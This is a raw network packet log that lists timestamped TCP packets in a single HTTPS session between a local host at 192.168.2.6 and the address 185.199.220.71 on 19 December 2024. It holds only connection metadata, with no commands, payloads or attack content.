Dec 19, 2024 09:29:16.726856947 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.726890087 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.726897001 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.726926088 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.726943016 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.734688044 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.734730005 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.734780073 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.734785080 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.734822035 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.734837055 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.741544008 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.741594076 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.741630077 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.741636038 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.741662025 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.741681099 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.741686106 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.741729021 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.749551058 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.749598026 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.749629021 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.749634981 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.749660015 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.749676943 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.756866932 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.756913900 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.756961107 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.756969929 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.756999016 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.757014036 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.764636993 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.764688969 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.764719963 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.764727116 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.764755011 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.764770031 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.772717953 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.772766113 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.772795916 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.772806883 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.772830009 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.772845984 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.772855997 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.772902012 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.910818100 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.910885096 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.910947084 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.910963058 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.910993099 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.911012888 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.918838978 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.918884993 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.918940067 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.918946028 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.918998003 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.926639080 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.926685095 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.926738024 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.926743984 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.926770926 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.926790953 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.934731007 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.934796095 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.934815884 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.934822083 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.934854984 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.934870958 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.934889078 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.934937000 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.941464901 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.941519976 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.941536903 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.941544056 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.941589117 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.949776888 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.949822903 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.949883938 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.949889898 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.949922085 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.949942112 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.956635952 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.956681013 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.956717968 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.956723928 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.956752062 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.956779003 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.964574099 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.964620113 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.964673042 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.964679003 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.964719057 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.964735985 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.964740038 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.964782000 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.103343010 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.103398085 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.103472948 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.103493929 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.103512049 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.103527069 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.111063004 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.111110926 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.111145020 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.111175060 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.111191988 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.111218929 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.119138956 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.119184971 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.119246006 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.119255066 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.119291067 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.119306087 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.125897884 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.125958920 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.125986099 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.125993967 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.126024008 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.126034021 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.126051903 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.126100063 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.133654118 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.133718967 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.133738041 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.133752108 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.133769035 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.133790970 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.141169071 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.141220093 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.141247034 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.141253948 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.141278982 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.141300917 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.149101019 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.149144888 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.149178028 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.149184942 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.149214029 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.149229050 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.157350063 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.157394886 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.157432079 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.157438040 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.157478094 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.157501936 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.157507896 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.157552004 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.295772076 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.295828104 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.295871973 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.295885086 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.295923948 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.295937061 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.303267002 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.303328037 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.303354979 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.303363085 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.303410053 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.303410053 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.311083078 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.311132908 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.311163902 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.311171055 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.311199903 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.311219931 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.321787119 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.321834087 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.321866989 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.321873903 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.321901083 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.321919918 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.321949005 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.322000027 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.333211899 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.333259106 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.333287001 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.333293915 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.333324909 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.333384991 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.333610058 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.333658934 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.333679914 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.333687067 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.333715916 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.333728075 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.341181040 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.341228962 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.341284990 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.341290951 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.341332912 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.348864079 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.348912954 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.348948002 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.348954916 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.348974943 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.348993063 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.348999023 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.349040031 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.488116026 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.488176107 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.488431931 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.488454103 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.488481998 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.488569021 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.495938063 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.495981932 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.496057987 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.496077061 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.496164083 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.502700090 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.502746105 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.502824068 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.502841949 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.502881050 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.502939939 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.511202097 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.511245966 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.511428118 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.511428118 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.511450052 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.511518002 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.518670082 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.518714905 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.518735886 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.518753052 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.518773079 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.518790960 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.525820971 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.525868893 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.525919914 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.525937080 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.525959015 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.525971889 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.533830881 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.533915043 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.533930063 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.533946037 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.533982038 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.533994913 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.540807009 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.540872097 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.540888071 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.540904045 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.540920019 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.540945053 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.540960073 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.541008949 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.680339098 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.680427074 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.680509090 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.680522919 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.680584908 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.687428951 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.687448978 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.687520981 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.687530041 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.687577009 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.694930077 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.694951057 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.695023060 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.695036888 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.695055962 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.695084095 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.702845097 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.702864885 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.702927113 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.702934980 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.702979088 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.702986956 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.703028917 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.710133076 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.710155010 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.710216045 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.710228920 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.710275888 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.718451977 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.718475103 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.718527079 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.718538046 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.718568087 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.718614101 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.725677013 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.725704908 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.725752115 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.725761890 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.725781918 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.725805044 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.733375072 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.733397961 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.733458042 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.733469009 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.733509064 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.871898890 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.871958017 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.871990919 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.872003078 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.872036934 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.872051954 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.880304098 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.880352020 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.880414963 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.880424023 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.880456924 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.880477905 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.887482882 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.887526989 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.887593985 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.887602091 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.887631893 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.887650013 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.895492077 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.895538092 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.895571947 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.895577908 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.895610094 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.895618916 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.902400970 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.902451038 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.902477980 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.902484894 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.902514935 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.902529955 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.909718990 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.909764051 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.909811020 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.909816980 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.909857988 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.909873962 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.917953968 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.918001890 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.918024063 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.918031931 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.918061972 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.918081045 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.925410032 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.925457954 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.925507069 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.925513983 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:17.925556898 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:17.925564051 CET	443	49710	185.199.220.71	192.168.2.6
